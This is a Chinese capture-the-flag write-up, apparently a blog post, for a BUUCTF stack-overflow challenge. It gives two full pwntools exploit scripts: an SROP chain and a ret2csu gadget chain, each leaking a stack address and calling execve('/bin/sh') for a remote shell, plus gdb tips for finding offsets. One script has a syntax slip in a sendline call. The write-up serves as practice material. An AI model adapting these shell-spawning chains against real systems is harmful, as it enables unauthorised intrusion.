这题总的来说让我实践了SROP、通用gadget、一些gdb调试体会
第一种解法:SROP
from pwn import*
context(arch='amd64',os='linux',log_level='debug')#这一句必须加,否则报错
p=remote('node4.buuoj.cn',27793)
leak = '/bin/sh\x00'*2+p64(0x4004ed)
p.sendline(leak)
p.recv(0x20)
addr1=u64(p.recv(8))-280
p_rdi=0x4005a3
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = addr1
frame.rsi = 0
frame.rdx =0
frame.rip=0x400517
#paylaod = '/bin/sh\x00' + 'a'*8 + p64(0x4004da) + p64(0x400501) + p64(str(frame))最后一个P64这样用是错误的。
paylaod = '/bin/sh\x00' *2 + p64(0x4004da) + p64(0x400501) + str(frame)
p.sendline(paylaod)
p.interactive()
更详细的框架请看:
SROP原始讲解
第二种解法:通用gadget+execve系统调用
from pwn import*
from pwnlib.rop.call import StackAdjustment
context.log_level='debug'
p=remote('node4.buuoj.cn',27069)
leak = '/bin/sh\x00'*2+p64(0x4004ed)#这里为什么不覆盖rbp,因为IDA查看汇编代码时发现没有leave语句,直接retn了,和之前的不一样。
p.sendline(leak
p.recv(0x20)
addr1=u64(p.recv(8))
binsh=addr1-280#这个偏移是个问题:1.栈的地址 2.read输入的地址
p_bx_bp_12_13_14_15=0x40059a
mov_dx_13=0x400580
set_execve=0x4004e2
system_=0x400517
paylaod= '/bin/sh\x00'+'a'*8+p64(p_bx_bp_12_13_14_15)#控制寄存器赋值
paylaod+=p64(0)*2
paylaod+=p64(binsh+0x50)
paylaod+=p64(0)*3
paylaod+=p64(mov_dx_13)
paylaod+=p64(set_execve)#这个就是上边binsh+0x50 的地方:赋值r12,接着去自然执行0x4004e2处的代码
paylaod+=p64(0x4005a3)+p64(binsh)+p64(system_)
p.sendline(paylaod)
p.interactive()
接着我们来谈谈泄露栈地址的问题:
1:gdb ,main函数下断点然后执行,发现rsi存的地址就是栈的地址。
2:read最初输入的地址可以在“1”的基础上输入c继续执行,而后输入“a*8”,接着find “aaaaaaaa”这个地址就是read最初输入的地址。更具体的请看这来两位师傅的: